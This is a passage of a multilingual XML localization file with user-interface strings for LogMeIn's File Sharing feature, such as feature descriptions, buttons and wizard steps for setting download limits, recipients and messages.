<ja>ファイルをダウンロードできる回数やリンクの有効期限が切れるまでの時間枠を指定することができます。いつでもダウンロード ステータスを確認したり、コンピュータ上のファイルへのリンクを削除できます。</ja>
<zh>您可以指定文件下载的次数或该链接的有效期限。您可以随时检查下载状态或删除您计算机上文件的链接。</zh>
<ko>파일을 다운로드할 수 있는 횟수 또는 링크가 만료될 시간을 지정할 수 있습니다. 언제든지 다운로드 상태를 확인하거나 컴퓨터에서 파일 링크를 삭제할 수 있습니다.</ko>
<en-gb>You can specify the number of times the file can be downloaded or a timeframe for when the link should expire. At any time, you can check the status of the downloads or delete the link to the file on your machine.</en-gb>
<hu>Megadhatja a letöltések maximális számát, vagy egy időkeretet, amelynek letelte után a hivatkozás érvényét veszti. Bármikor ellenőrizheti a letöltések állapotát, vagy törölheti a számítógépén levő fájlra mutató hivatkozást.</hu>
<pt-br>Você pode especificar o número de vezes que o arquivo pode ser baixado ou um intervalo de tempo para expiração do link. A qualquer momento, você pode verificar o status dos downloads ou excluir o link para o arquivo na sua máquina.</pt-br>
<nl>U kunt opgeven hoe vaak het bestand mag worden gedownload of hoe lang de link geldig is voordat deze verstrijkt. U kunt altijd de status van de downloads controleren of de link naar het bestand op uw computersysteem verwijderen.</nl>
</msg>
<msg name="DESC.5">
<en>You can easily share files in two ways.</en>
<de>Es gibt zwei Möglichkeiten, um Dateien freizugeben.</de>
<es>Puede compartir archivos fácilmente de dos maneras.</es>
<fr>Vous pouvez facilement partager des fichiers de deux façons.</fr>
<it>Ci sono due modalità per condividere facilmente i file.</it>
<ru>Вы можете легко открыть совместный доступ к файлам двумя способами.</ru>
<ja>次の 2 通りの方法で簡単にファイルを共有できます。</ja>
<zh>您可以通过两种方式轻松地共享文件。</zh>
<ko>두 가지 방법으로 쉽게 파일을 공유할 수 있습니다.</ko>
<hu>A fájlok könnyedén megoszthatók, két módon is.</hu>
<pt-br>Você pode compartilhar arquivos facilmente de duas maneiras.</pt-br>
<nl>U kunt bestanden op twee manieren gemakkelijk delen.</nl>
</msg>
<msg name="DESC.6">
<en>Option 1: Right-click on the file, select "Send To", and then choose "LogMeIn File Sharing"</en>
<es>Opción 1: haga clic con el botón derecho en el archivo, seleccione “Enviar a” y después elija “Transferencia de archivos de LogMeIn”.</es>
<de>Option 1: Klicken Sie mit der rechten Maustaste auf die Datei, wählen Sie „Senden an“ und dann „LogMeIn-Dateifreigabe“.</de>
<fr>Option 1 : faites un clic droit sur le fichier et sélectionnez « Envoyer à », puis choisissez « Partage de fichiers LogMeIn »</fr>
<it>Opzione 1: Fare clic con il pulsante destro del mouse sul file e selezionare "Invia a", quindi scegliere "Condivisione dei file di LogMeIn"</it>
<ru>Вариант 1. Щелкните правой кнопкой мыши файл и выберите пункт «Отправить», затем выберите «Общий доступ к файлам LogMeIn»</ru>
<ja>オプション 1: ファイルを右クリックし、[送る] から [LogMeIn ファイル共有] を選択します。</ja>
<zh>选项 1:右键单击文件,选择“发送到”,然后选择“LogMeIn 文件共享”</zh>
<ko>옵션 1: 파일을 마우스 오른쪽 버튼으로 클릭하고 "보낼 위치"를 선택한 다음 "LogMeIn 파일 공유"를 선택합니다.</ko>
<en-gb>Option 1: Right-click on the file, select "Send To", and then choose "LogMeIn File Sharing"</en-gb>
<hu>1. lehetőség: Kattintson a jobb egérgombbal a fájlra, válassza a "Küldés" menüpontot, majd válassza a "LogMeIn fájlmegosztás" parancsot</hu>
<pt-br>Opção 1: Clique com o botão direito do mouse no arquivo e selecione "Enviar para" e escolha "Compartilhamento do LogMeIn".</pt-br>
<nl>Optie 1: Klik met de rechtermuisknop op het bestand, kies in het snelmenu de optie "Kopiëren naar" en kies vervolgens "LogMeIn Bestanden delen"</nl>
</msg>
<msg name="DESC.7">
<en>Option 2: Choose File Sharing from the LogMeIn system tray.</en>
<es>Opción 2: seleccione Transferencia de archivos en la bandeja de sistema de LogMeIn.</es>
<de>Option 2: Wählen Sie über das LogMeIn-Taskleistensymbol die Option „Dateifreigabe“.</de>
<fr>Option 2 : Choisissez Partage de fichiers sur l'icône de la zone de notification système de LogMeIn.</fr>
<it>Opzione 2 - Scegliere Condivisione file dalla barra delle applicazioni.</it>
<ru>Вариант 2: выберите пункт «Общий доступ к файлу», щелкнув значок LogMeIn в области уведомлений панели задач.</ru>
<ja>オプション 2 : LogMeIn システム トレイから [ファイル共有] を選択します。</ja>
<zh>选项 2:从 LogMeIn 系统托盘中选择“文件共享”。</zh>
<ko>옵션 2: LogMeIn 시스템 트레이에서 파일 공유를 선택하십시오.</ko>
<en-gb>Option 2: Choose File Sharing from the LogMeIn system tray.</en-gb>
<hu>2. lehetőség: A LogMeIn tálcaikonjára kattintva válassza a Fájlmegosztás funkciót.</hu>
<pt-br>Opção 2: Escolha Compartilhamento de arquivos na bandeja do sistema do LogMeIn.</pt-br>
<nl>Optie 2: kies Bestanden delen in het LogMeIn-systeemvak.</nl>
</msg>
<msg name="INTRO.1">
<en>Use it to share:</en>
<es>Utilícelo para compartir:</es>
<de>Freigegebene Objekte:</de>
<fr>A utiliser pour partager :</fr>
<it>Utilizzarla per condividere:</it>
<ru>Используйте эту функцию для открытия общего доступа:</ru>
<ja>共有 :</ja>
<zh>使用该功能可以共享:</zh>
<ko>공유 사용:</ko>
<en-gb>Use it to share:</en-gb>
<hu>Használja a következők megosztására:</hu>
<pt-br>Use-o para compartilhar:</pt-br>
<nl>Gebruik deze functie voor het delen van:</nl>
</msg>
<msg name="INTRO.2">
<en>Files</en>
<de>Dateien</de>
<es>Archivos</es>
<fr>Fichiers</fr>
<it>File</it>
<ru>Файлы</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>Files</en-gb>
<hu>Fájlok</hu>
<pt-br>Arquivos</pt-br>
<nl>Bestanden</nl>
</msg>
<msg name="INTRO.3">
<en>Presentations</en>
<es>Presentaciones</es>
<de>Präsentationen</de>
<fr>Présentations</fr>
<it>Presentazioni</it>
<ru>Презентации</ru>
<ja>プレゼンテーション</ja>
<zh>演示文稿</zh>
<ko>프레젠테이션</ko>
<en-gb>Presentations</en-gb>
<hu>Bemutatók</hu>
<pt-br>Apresentações</pt-br>
<nl>Presentaties</nl>
</msg>
<msg name="INTRO.4">
<en>Music</en>
<de>Musik</de>
<fr>Musique</fr>
<es>Música</es>
<it>Musica</it>
<ru>Музыка</ru>
<ja>音楽</ja>
<zh>音乐</zh>
<ko>음악</ko>
<en-gb>Music</en-gb>
<hu>Zene</hu>
<pt-br>Música</pt-br>
<nl>Muziek</nl>
</msg>
<msg name="INTRO.5">
<en>Videos</en>
<es>Vídeos</es>
<de>Videos</de>
<fr>Vidéos</fr>
<it>Video</it>
<ru>Видео</ru>
<ja>ビデオ</ja>
<zh>视频</zh>
<ko>비디오</ko>
<en-gb>Videos</en-gb>
<hu>Videók</hu>
<pt-br>Vídeos</pt-br>
<nl>Video's</nl>
</msg>
<msg name="INTRO.6">
<en>Pictures</en>
<es>Imágenes</es>
<de>Bilder</de>
<fr>Images</fr>
<it>Immagini</it>
<ru>Изображения</ru>
<ja>画像</ja>
<zh>图片</zh>
<ko>사진</ko>
<en-gb>Pictures</en-gb>
<hu>Képek</hu>
<pt-br>Imagens</pt-br>
<nl>Foto's</nl>
</msg>
<msg name="INTRO.7">
<en>...and more!</en>
<es>...y para otras muchas cosas más.</es>
<de>...und mehr</de>
<fr>...et plus!</fr>
<it>...e altro!</it>
<ru>...и многое другое!</ru>
<ja>...その他いろいろ</ja>
<zh>...等等!</zh>
<ko>...더 많은 작업!</ko>
<en-gb>...and more!</en-gb>
<hu>... és sok másra!</hu>
<pt-br>...e muito mais!</pt-br>
<nl>...en nog veel meer!</nl>
</msg>
<msg name="SHORTDESC">
<en>Use this special feature to securely share files too large for email (documents, spreadsheets, images, etc.)</en>
<de>Nutzen sie diese spezielle Funktion, um Dateien freizugeben, die für Emails zu groß sind (Dokumente, Spreadsheets, Bilder, usw.)</de>
<es>Utilice esta función especial para compartir con seguridad archivos demasiado grandes para mandarlos por correo electrónico (documentos, hojas de cálculo, imágenes, etc.)</es>
<fr>Utilisez cette commande spéciale pour partager en toute sécurité des fichiers trop lourds pour être envoyés par courrier électronique (documents, bilans, images, etc.)</fr>
<it>Utilizzare questa funzione speciale per condividere in modo protetto i file che sono troppo grandi per l'e-mail (documenti, fogli elettronici, immagini, ecc.)</it>
<ru>Данная специальная функция служит для общего доступа к файлам, которые слишком велики для отправки по электронной почте (документы, электронные таблицы, изображения и т.п.)</ru>
<ja>この特別な機能を使用すると、電子メールで送信できないほど大きなファイル (文書、スプレッドシート、画像など) を安全に共有することができます。</ja>
<zh>使用此特殊功能可以安全地共享对电子邮件来说太大的文件(文档、电子表格、图像等)。</zh>
<ko>이러한 특수 기능을 사용하여 전자 메일에 대해 너무 큰 파일(문서, 스프레드시트, 이미지 등)을 안전하게 공유합니다.</ko>
<en-gb>Use this special feature to securely share files too large for e-mail (documents, spreadsheets, images, etc.)</en-gb>
<hu>Ennek a speciális funkciónak a segítségével biztonságosan oszthat meg olyan fájlokat, amelyek túl nagyok az e-mail számára (dokumentumok, táblázatok, képek, stb.)</hu>
<pt-br>Use este recurso especial para compartilhar com segurança arquivos muito grandes para email (documentos, planilhas, imagens etc.)</pt-br>
<nl>Gebruik deze speciale functie om veilig bestanden te delen die te groot zijn om via e-mail te worden verzonden (documenten, spreadsheets, afbeeldingen, enz.)</nl>
</msg>
<msg name="SHORTDESC.LMIPRO">
<en>Securely share files too large for email</en>
<de>Dateien freigeben, die für Emails zu groß sind.</de>
<es>Comparta de forma segura archivos demasiado grandes para mandarlos por correo electrónico</es>
<fr>Partage en toute sécurité de fichiers trop lourds pour être envoyés par courrier électronique</fr>
<it>Condividi in modo sicuro i file troppo grandi per l'e-mail</it>
<ru>Безопасный общий доступ к файлам, слишком больших для отправки по электронной почте</ru>
<ja>電子メールで送信できないほど大きなファイルを安全に共有</ja>
<zh>安全地共享对电子邮件来说太大的文件</zh>
<ko>전자 메일에 비해 너무 큰 파일을 안전하게 공유</ko>
<en-gb>Securely share files too large for e-mail</en-gb>
<hu>Az e-mail számára túl nagy fájlok biztonságos megosztása</hu>
<pt-br>Compartilhar com segurança arquivos muito grandes para email</pt-br>
<nl>Veilig bestanden delen die te groot zijn voor verzending via e-mail</nl>
</msg>
<msg name="NOTE">
<en>To allow your recipient to securely download File Sharing files, leave your computer switched on and connected to the Internet.</en>
<es>Para permitir que su destinatario descargue con seguridad archivos de Transferencia de archivos, deje su ordenador encendido y conectado a Internet.</es>
<de>Lassen Sie Ihren Computer eingeschaltet und trennen Sie die Internetverbindung nicht, damit der Empfänger Ihre freigegebenen Dateien sicher herunterladen kann.</de>
<fr>Pour permettre au destinataire de télécharger les fichiers partagés, votre ordinateur doit rester allumé et connecté à Internet.</fr>
<it>Per consentire al destinatario di scaricare in sicurezza i file con la Condivisione dei file, lasciare il proprio computer acceso e collegato a Internet.</it>
<ru>Для того чтобы получатель смог безопасно загрузить общие файлы оставьте свой компьютер включенным и подключенным к Интернету.</ru>
<ja>受信者が共有ファイルを安全にダウンロードできるように、コンピュータの電源は切らずにインターネットに接続したままにします。</ja>
<zh>为使您的收件人安全地下载文件共享文件,请保持您的计算机打开并连接到 Internet。</zh>
<ko>수신인이 파일 공유 파일을 안전하게 다운로드하려면 컴퓨터를 켜고 인터넷에 연결하십시오.</ko>
<en-gb>To allow your recipient to securely download File Sharing files, leave your computer switched on and connected to the Internet.</en-gb>
<hu>Ahhoz, hogy lehetővé tegye a címzettek számára a megosztott fájlok biztonságos letöltését, hagyja a számítógépét bekapcsolva és az internethez kapcsolódva.</hu>
<pt-br>Para permitir que o destinatário baixe os arquivos do Compartilhamento de arquivos com segurança, deixe seu computador ligado e conectado à Internet.</pt-br>
<nl>Als u uw geadresseerde de mogelijkheid wilt bieden om uw gedeelde bestanden op een veilige manier te downloaden, zorgt u ervoor dat uw computer is ingeschakeld en met internet is verbonden.</nl>
</msg>
<!-- buttons -->
<msg name="STARTBUTTON">
<en>Start File Sharing &gt;&gt;</en>
<es>Iniciar Transferencia de archivos &gt;&gt;</es>
<de>Dateifreigabe starten &gt;&gt;</de>
<fr>Lancer le partage de fichiers &gt;&gt;</fr>
<it>Avvia Condivisione dei file &gt;&gt;</it>
<ru>Запустить общий доступ к файлам &gt;&gt;</ru>
<ja>ファイル共有の開始 &gt;&gt;</ja>
<zh>启动文件共享 &gt;&gt;</zh>
<ko>파일 공유 시작 &gt;&gt;</ko>
<en-gb>Start File Sharing &gt;&gt;</en-gb>
<hu>Fájlmegosztás indítása &gt;&gt;</hu>
<pt-br>Iniciar compartilhamento de arquivos&gt;&gt;</pt-br>
<nl>Bestanden delen starten &gt;&gt;</nl>
</msg>
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
<fr>Envoyer</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="ADD">
<en>Share Files &gt;&gt;</en>
<de>Dateien freigeben</de>
<es>Compartir archivos &gt;&gt;</es>
<fr>Partager des fichiers</fr>
<it>Condividi file &gt;&gt;</it>
<ru>Общий доступ к файлам &gt;&gt;</ru>
<ja>ファイルの共有 &gt;&gt;</ja>
<zh>共享文件 &gt;&gt;</zh>
<ko>파일 공유 &gt;&gt;</ko>
<en-gb>Share Files &gt;&gt;</en-gb>
<hu>Fájlok megosztása &gt;&gt;</hu>
<pt-br>Compartilhar arquivos &gt;&gt;</pt-br>
<nl>Bestanden delen &gt;&gt;</nl>
</msg>
<msg name="ADDMORE">
<en>Share More Files</en>
<de>Weitere Dateien freigeben</de>
<es>Compartir más archivos</es>
<fr>Partager des fichiers supplémentaires</fr>
<it>Condividi più file</it>
<ru>Открыть общий доступ к дополнительным файлам</ru>
<ja>追加ファイルを共有</ja>
<zh>共享更多文件</zh>
<ko>추가 파일 공유</ko>
<en-gb>Share More Files</en-gb>
<hu>További fájlok megosztása</hu>
<pt-br>Compartilhar mais arquivos</pt-br>
<nl>Meer bestanden delen</nl>
</msg>
<msg name="GETURL">
<en>Get Link</en>
<de>Link</de>
<es>Obtener vínculo</es>
<fr>Etablir une connexion</fr>
<it>Ottieni collegamento</it>
<ru>Получить ссылку</ru>
<ja>リンクを取得</ja>
<zh>获得链接</zh>
<ko>링크 가져오기</ko>
<en-gb>Get Link</en-gb>
<hu>Hivatkozás készítése</hu>
<pt-br>Obter link</pt-br>
<nl>Link maken</nl>
</msg>
<msg name="TESTURL">
<en>Test Link</en>
<de>Link testen</de>
<es>Probar vínculo</es>
<fr>Test de la connexion</fr>
<it>Test del collegamento</it>
<ru>Проверить ссылку</ru>
<ja>リンク テスト</ja>
<zh>测试链接</zh>
<ko>링크 테스트</ko>
<en-gb>Test Link</en-gb>
<hu>Hivatkozás tesztelése</hu>
<pt-br>Testar link</pt-br>
<nl>Link testen</nl>
</msg>
<msg name="ENABLE">
<en>Enable</en>
<de>Aktivieren</de>
<es>Habilitar</es>
<fr>Activé</fr>
<it>Attiva</it>
<ru>Включить</ru>
<ja>有効</ja>
<zh>启用</zh>
<ko>사용</ko>
<en-gb>Enable</en-gb>
<hu>Bekapcsolás</hu>
<pt-br>Habilitar</pt-br>
<nl>Inschakelen</nl>
</msg>
<msg name="DISABLE">
<en>Disable</en>
<de>Deaktivieren</de>
<es>Deshabilitar</es>
<fr>Désactivé</fr>
<it>Disattiva</it>
<ru>Отключить</ru>
<ja>無効</ja>
<zh>禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disable</en-gb>
<hu>Kikapcsolás</hu>
<pt-br>Desabilitar</pt-br>
<nl>Uitschakelen</nl>
</msg>
<msg name="REMOVE">
<en>Stop Sharing Selected Files</en>
<es>Detener el proceso de compartir los archivos seleccionados</es>
<fr>Supprimer</fr>
<de>Ende der Dateifreigabe &gt;&gt;</de>
<it>Interrompi la condivisione dei file selezionati</it>
<ru>Прекратить общий доступ к выбранным файлам</ru>
<ja>選択されているファイルの共有を終了する</ja>
<zh>停止共享所选的文件</zh>
<ko>선택한 파일 공유 중지</ko>
<en-gb>Stop Sharing Selected Files</en-gb>
<hu>Kiválasztott fájlok megosztásának leállítása</hu>
<pt-br>Parar compartilhamento dos arquivos selecionados</pt-br>
<nl>Delen van geselecteerde bestanden stoppen</nl>
</msg>
<msg name="CHANGE">
<en>Change Rules</en>
<de>Regeln ändern</de>
<es>Cambiar normas</es>
<fr>Changer les règles</fr>
<it>Modifica regole</it>
<ru>Изменить правила</ru>
<ja>ルールの変更</ja>
<zh>更改规则</zh>
<ko>규칙 변경</ko>
<en-gb>Change Rules</en-gb>
<hu>Szabályok módosítása</hu>
<pt-br>Alterar regras</pt-br>
<nl>Regels wijzigen</nl>
</msg>
<msg name="REVIEW">
<en>View Details</en>
<de>Details anzeigen</de>
<es>Ver detalles</es>
<fr>Voir les détails</fr>
<it>Visualizza dettagli</it>
<ru>Просмотреть сведения</ru>
<ja>詳細の表示</ja>
<zh>查看详细信息</zh>
<ko>세부사항 보기</ko>
<en-gb>View Details</en-gb>
<hu>Részletek megtekintése</hu>
<pt-br>Exibir detalhes</pt-br>
<nl>Detailgegevens weergeven</nl>
</msg>
<msg name="SENDTOMORE">
<en>Share with more people</en>
<de>Für weitere Personen freigeben</de>
<es>Compartir con más personas</es>
<fr>Partager à des personnes supplémentaires</fr>
<it>Condividi con più persone</it>
<ru>Открыть общий доступ большему числу пользователей</ru>
<ja>共有する相手を追加</ja>
<zh>与更多人共享</zh>
<ko>더 많은 사용자와 공유</ko>
<en-gb>Share with more people</en-gb>
<hu>Megosztás több személlyel</hu>
<pt-br>Compartilhar com mais pessoas</pt-br>
<nl>Delen met meer gebruikers</nl>
</msg>
<msg name="EMAIL.NO.SEND">
<en>Don't send email now</en>
<de>Email jetzt nicht senden</de>
<es>No enviar correo electrónico ahora</es>
<fr>Ne pas envoyer maintenant de courrier électronique</fr>
<it>Non inviare l'e-mail ora</it>
<ru>Не отправлять электронное сообщение сейчас</ru>
<ja>今は電子メールを送信しない</ja>
<zh>不马上发送电子邮件</zh>
<ko>지금 전자 메일을 보내지 않음</ko>
<en-gb>Don't send e-mail now</en-gb>
<hu>Ne küldjön most e-mailt</hu>
<pt-br>Não enviar email agora</pt-br>
<nl>Dit e-mailbericht nu niet verzenden</nl>
</msg>
<msg name="CHECKSTATUS.BUTTON">
<en>Check status</en>
<de>Status überprüfen</de>
<es>Comprobar el estado</es>
<fr>Contrôle l'état</fr>
<it>Controlla stato</it>
<ru>Проверить состояние</ru>
<ja>ステータスの確認</ja>
<zh>检查状态</zh>
<ko>상태 확인</ko>
<en-gb>Check status</en-gb>
<hu>Állapot ellenőrzése</hu>
<pt-br>Verificar status</pt-br>
<nl>Status controleren</nl>
</msg>
<msg name="COPYTOCLIPBOARD">
<en>Copy to clipboard</en>
<es>Copiar en portapapeles</es>
<de>In Zwischenablage kopieren</de>
<fr>Copier dans le presse-papiers</fr>
<it>Copia negli Appunti</it>
<ru>Скопировать в буфер обмена</ru>
<ja>クリップボードにコピー</ja>
<zh>复制到剪贴板</zh>
<ko>클립보드에 복사</ko>
<en-gb>Copy to clipboard</en-gb>
<hu>Másolás a vágólapra</hu>
<pt-br>Copiar na área de transferência</pt-br>
<nl>Kopiëren naar Klembord</nl>
</msg>
<msg name="SENDEMAIL">
<en>Send Message Now &gt;&gt;</en>
<es>Enviar mensaje ahora &gt;&gt;</es>
<de>Nachricht jetzt senden &gt;&gt;</de>
<fr>Envoyer le message maintenant &gt;&gt;</fr>
<it>Invia messaggio ora &gt;&gt;</it>
<ru>Отправить сообщение сейчас &gt;&gt;</ru>
<ja>今すぐメッセージを送信 &gt;&gt;</ja>
<zh>马上发送邮件 &gt;&gt;</zh>
<ko>지금 메시지 보내기 &gt;&gt;</ko>
<en-gb>Send Message Now &gt;&gt;</en-gb>
<hu>Üzenet küldése most &gt;&gt;</hu>
<pt-br>Enviar mensagem agora &gt;&gt;</pt-br>
<nl>Bericht nu verzenden &gt;&gt;</nl>
</msg>
<!-- if no max downloads is specified -->
<msg name="UNLIMITED">
<en>Unlimited</en>
<de>Unlimitiert</de>
<es>Ilimitado</es>
<fr>Illimité</fr>
<it>Illimitato</it>
<ru>Не ограничено</ru>
<ja>無制限</ja>
<zh>无限制</zh>
<ko>제한 없음</ko>
<en-gb>Unlimited</en-gb>
<hu>Korlátlan</hu>
<pt-br>Ilimitado</pt-br>
<nl>Onbeperkt</nl>
</msg>
<msg name="OTHER">
<en>Specify number...</en>
<es>Especificar número...</es>
<fr>Autres:</fr>
<de>Wert angeben...</de>
<it>Specifica numero...</it>
<ru>Укажите число...</ru>
<ja>数を指定します...</ja>
<zh>指定数目...</zh>
<ko>번호 지정...</ko>
<en-gb>Specify number...</en-gb>
<hu>Szám megadása...</hu>
<pt-br>Especificar número...</pt-br>
<nl>Geef het maximumaantal downloads op...</nl>
</msg>
<!-- page headings -->
<msg name="STEP.1">
<en>Step 1: Select a file to share</en>
<de>Schritt 1: Wählen sie die Datei</de>
<es>Paso 1: Seleccione el archivo que desea compartir</es>
<fr>Pas 1 : Choisissez un fichier à partager</fr>
<it>Passo 1: Selezionare un file da condividere</it>
<ru>Шаг 1. Выберите файл для общего доступа</ru>
<ja>ステップ 1 :共有するファイルの選択</ja>
<zh>第 1 步:选择要共享的文件</zh>
<ko>1단계: 공유할 파일 선택</ko>
<en-gb>Step 1: Select a file to share</en-gb>
<hu>1. lépés: Válassza ki a megosztandó fájlt</hu>
<pt-br>Etapa 1: Selecione um arquivo a ser compartilhado</pt-br>
<nl>Stap 1: Selecteer het bestand dat u wilt delen</nl>
</msg>
<msg name="STEP.1B">
<en>Choose the file, specify the number of times people can download it, and specify the duration of time the file should be shared.</en>
<es>Seleccione el archivo, especifique el número de veces que se puede descargar y el tiempo que estará disponible para su descarga.</es>
<fr>Ou cliquez un fichier ci-dessous.</fr>
<de>Wählen Sie die Datei aus, und geben Sie an, wie oft die Personen die Datei downloaden dürfen. Legen Sie anschließend fest, wie lange die Datei für den gemeinsamen Zugriff zur Verfügung stehen soll.</de>
<it>Selezionare il file, specificare il numero di persone che possono effettuare il download e il periodo nel quale il file dovrebbe essere condiviso.</it>
<ru>Выберите файл, укажите, сколько раз он может быть загружен и в течение какого времени.</ru>
<ja>ファイルを選択し、そのファイルをダウンロードできる回数を指定します。また、ファイルを共有する期間を指定します。</ja>
<zh>选择文件、指定他人可以下载文件的次数,并且指定文件可以共享的期限。</zh>
<ko>파일을 선택하고 이 파일을 다운로드할 수 있는 횟수를 지정하며 파일을 공유할 기간을 지정합니다.</ko>
<en-gb>Choose the file, specify the number of times people can download it and specify the duration of time the file should be shared.</en-gb>
<hu>Válassza ki a fájlt, adja meg azt a számot, ahányszor az emberek letölthetik azt, és adja meg azt az időtartamot, ameddig a fájl megosztott marad.</hu>
<pt-br>Escolha o arquivo, especifique o número de vezes que as pessoas podem baixá-lo e especifique a duração do compartilhamento do arquivo.</pt-br>
<nl>Selecteer het bestand, geef op hoeveel keer gebruikers dit kunnen downloaden en voer de geldigheidsperiode voor het delen van het bestand in.</nl>
</msg>
<msg name="STEP.2">
<en>Step 2: Choose how to send the File Sharing link</en>
<es>Paso 2: elegir cómo enviar el enlace de Transferencia de archivos</es>
<de>Schritt 2: Wählen Sie aus, wie Sie den Dateifreigabelink versenden möchten.</de>
<fr>Étape 2 : sélectionnez la manière d'envoyer le lien de partage de fichiers</fr>
<it>Passaggio 2: Scegliere come inviare il collegamento per la Condivisione dei file</it>
<ru>Шаг 2: Выберите способ отправки ссылки на общий файл</ru>
<ja>ステップ 2: ファイル共有リンクの送信方法の選択</ja>
<zh>步骤 2:选择发送文件共享链接的方式</zh>
<ko>2단계: 파일 공유 링크를 보내는 방법 선택</ko>
<en-gb>Step 2: Choose how to send the File Sharing link</en-gb>
<hu>2. lépés: Válassza ki a fájlmegosztási hivatkozás küldésének módját</hu>
<pt-br>Etapa 2: Escolha como enviar o link Compartilhamento de arquivos.</pt-br>
<nl>Stap 2: Kies de manier waarop de koppeling voor Bestanden delen moet worden verzonden</nl>
</msg>
<msg name="STEP.2B">
<en>Change sharing rules</en>
<de>Regeln ändern</de>
<es>Cambiar normas de intercambio</es>
<fr>Changer les règles de partage</fr>
<it>Modifica regole di condivisione</it>
<ru>Изменить правила совместного доступа</ru>
<ja>共有ルールの変更</ja>
<zh>更改共享规则</zh>
<ko>공유 규칙 변경</ko>
<en-gb>Change sharing rules</en-gb>
<hu>Megosztási szabályok módosítása</hu>
<pt-br>Alterar regras de compartilhamento</pt-br>
<nl>Wijzig de regels voor bestanden delen</nl>
</msg>
<msg name="STEP.3">
<en>Step 3: Enter recipients</en>
<de>Schritt 3: Für wen wollen sie die Datei freigeben? Geben sie die Emailadresse(n) ein:</de>
<es>Paso 3: Introducir destinatarios</es>
<fr>Pas 3 : Avec qui voulez-vous partager ce fichier? Entrez le ou les adresses email ci-dessous:</fr>
<it>Passo 3: Immettere destinatari</it>
<ru>Шаг 3. Укажите получателей</ru>
<ja>ステップ 3 :受信者の入力</ja>
<zh>第 3 步:输入收件人</zh>
<ko>3단계: 수신인 입력</ko>
<en-gb>Step 3: Enter recipients</en-gb>
<hu>3. lépés: Címzettek megadása</hu>
<pt-br>Etapa 3: Digitar destinatários</pt-br>
<nl>Stap 3: Voer de geadresseerden in</nl>
</msg>
<msg name="STEP.3S">
<en>Step 1: Enter recipients</en>
<de>Schritt 1: Für wen wollen sie die Datei freigeben? Geben sie die Emailadresse(n) ein:</de>
<es>Paso 1: Introducir destinatarios</es>
<fr>Etape 1 : entrer les destinataires</fr>
<it>Passo 1: Immettere destinatari</it>
<ru>Шаг 1. Укажите получателей</ru>
<ja>ステップ 1 :受信者の入力</ja>
<zh>第 1 步:输入收件人</zh>
<ko>1단계: 수신인 입력</ko>
<en-gb>Step 1: Enter recipients</en-gb>
<hu>1. lépés: Címzettek megadása</hu>
<pt-br>Etapa 1: Digitar destinatários</pt-br>
<nl>Stap 1: Voer de geadresseerden in</nl>
</msg>
<msg name="STEP.3B">
<en>Enter the email addresses of the people you want to share this file with. You must enter at least one address.</en>
<es>Introduzca las direcciones de correo electrónico de las personas con las que desee compartir este archivo. Debe introducir al menos una dirección.</es>
<de>Geben Sie die E-Mail-Adressen der Personen an, die gemeinsamen Zugriff auf diese Datei erhalten sollen. Sie müssen mindestens eine Adresse eingeben.</de>
<fr>Entrez l'adresse e-mail des personnes avec lesquelles vous voulez partager ce fichier. Vous devez entrer au moins une adresse.</fr>
<it>Immettere l'indirizzo e-mail delle persone con cui si desidera condividere il file. È necessario immettere almeno un indirizzo.</it>
<ru>Введите адрес электронной почты пользователей, которые должны получить общий доступ к данному файлу. Необходимо указать хотя бы один адрес.</ru>
<ja>このファイルを共有する相手の電子メール アドレスを入力します。最低 1 つのアドレスを入力する必要があります。</ja>
<zh>输入您要与其共享此文件的人员的电子邮件地址。您至少必须输入一个地址。</zh>
<ko>이 파일을 공유할 사용자의 전자 메일 주소를 입력합니다. 주소를 하나 이상 입력해야 합니다.</ko>
<en-gb>Enter the e-mail addresses of the people you want to share this file with. You must enter at least one address.</en-gb>
<hu>Írja be azoknak a személyeknek az e-mail címét, akikkel meg kívánja osztani ezt a fájlt. Legalább egy címet be kell írnia.</hu>
<pt-br>Digitar os endereços de email das pessoas com quem você deseja compartilhar este arquivo. Digite pelo menos um endereço.</pt-br>
<nl>Voer de e-mailadressen in van de personen met wie u dit bestand wilt delen. U moet minstens één e-mailadres invoeren.</nl>
</msg>
<msg name="STEP.4">
<en>Step 4: Compose message</en>
<de>Schritt 4: Email verfassen</de>
<es>Paso 4: Crear el mensaje</es>
<fr>Pas 4 : Ecrivez votre message</fr>
<it>Passo 4: Scrivere il messaggio</it>
<ru>Шаг 4. Создать сообщение</ru>
<ja>ステップ 4 :メッセージの作成</ja>
<zh>第 4 步:撰写邮件</zh>
<ko>4단계: 메시지 구성</ko>
<en-gb>Step 4: Compose message</en-gb>
<hu>4. lépés: Üzenet szerkesztése</hu>
<pt-br>Etapa 4: Compor mensagem</pt-br>
<nl>Stap 4: Typ de tekst voor het e-mailbericht</nl>
</msg>
<msg name="STEP.4S">
<en>Step 2: Compose message</en>
<de>Schritt 2: Email verfassen</de>
<es>Paso 2: Crear el mensaje</es>
<fr>Etape 2 : rédiger le message</fr>
<it>Passo 2: Scrivere il messaggio</it>
<ru>Шаг 2. Создать сообщение</ru>
<ja>ステップ 2 :メッセージの作成</ja>
<zh>第 2 步:撰写邮件</zh>
<ko>2단계: 메시지 구성</ko>
<en-gb>Step 2: Compose message</en-gb>
<hu>2. lépés: Üzenet szerkesztése</hu>
<pt-br>Etapa 2: Compor mensagem</pt-br>
<nl>Stap 2: Typ de tekst voor het e-mailbericht</nl>
</msg>
<msg name="STEP.4B">
<en>Write a personal note to your recipient(s) below.</en>
<es>A continuación, escriba una nota a los destinatarios.</es>
<de>Schreiben Sie eine persönliche Nachricht an die Empfänger.</de>
<fr>Ecrivez ci-dessous une note personnelle pour le(s) destinataire(s).</fr>
<it>Scrivere di seguito una nota personale al destinatario o ai destinatari.</it>
<ru>Напишите внизу личное примечание для своих получателей.</ru>
<ja>以下の受信者宛てに、個人的なメモを入力します。</ja>
<zh>在下面给您的收件人写下个人便笺。</zh>
<ko>아래에 수신인에게 보낼 개인 메모를 작성합니다.</ko>
<en-gb>Write a personal note to your recipient(s) below.</en-gb>
<hu>Írjon egy személyes megjegyzést az alábbi címzett(ek) számára.</hu>
<pt-br>Escrever uma nota pessoal no(s) destinatário(s) abaixo.</pt-br>
